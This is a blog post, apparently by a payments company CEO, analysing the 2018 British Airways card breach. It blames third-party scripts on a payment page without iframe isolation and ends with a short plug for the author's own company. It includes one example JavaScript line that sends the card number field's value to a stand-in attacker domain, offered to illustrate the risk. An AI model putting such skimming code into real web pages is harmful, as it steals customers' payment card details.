So, about that BA hack …

Everyone’s heard that BA was hacked last month and 380,000 customer card details were stolen. BA have said that customers have been notified and fixes have been made and it will never happen again … blah blah blah …

I wasn’t able to find any detailed technical analysis of what went wrong and whether they’re vulnerable to it happening again, so I did some myself.

Here is a screenshot (dated 7th September 2018) of the BA payment page with the Chrome network console showing loaded JavaScript files.

We can see files loaded from 7 external domains (excluding www.britishairways.com). These include files from analytics, customer service and A/B testing tools. These should not be present on web pages processing customer card data.

Crucially there is also no <iframe> isolation of the payment card fields. The card number field resides in the top frame as you can see below:

This is bad because it is trivial for any JavaScript file loaded to steal the card details and post to another 3rd party domain.

document.querySelector(‘#CardNumber1’).addEventListener(‘change’, (e) => { fetch(‘https://evilhacker.lol/card-details.php’, { method: ‘post’, body: e.target.value });

If the card details were collected in a sandboxed <iframe>, it would prevent this basic third party scripting attack vector because JavaScript files loaded in the main window are not able to access the contents the <iframe>.

Given customer details were only stolen from users on the site between 21 August and 5 September, it’s likely that the hack was a third party scripting exploit rather than a database hack or similar.

It is my opinion that BA has inadequately addressed the issue and a serious security vulnerability remains.


About me: My name is Marcus and I’m CEO of Ubio. Our Automation Cloud platform uses robots to turn websites into transactional APIs. We work with travel metasearch and price comparison websites (PCWs) to allow direct checkout within their smartphone apps and websites, which significantly increases conversion rates vs redirecting users to third party websites.

We’re PCI compliant and do some pretty clever things to securely store and transmit payments. We provide an <iframe> solution to isolate customer card details … obviously!

Edit: this article has been updated to correct terminology. Notably the term XSS was confused with third party scripting vulnerability
Like what you read? Give Marcus Gill Greenwood a round of applause.

From a quick cheer to a standing ovation, clap to show how much you enjoyed this story.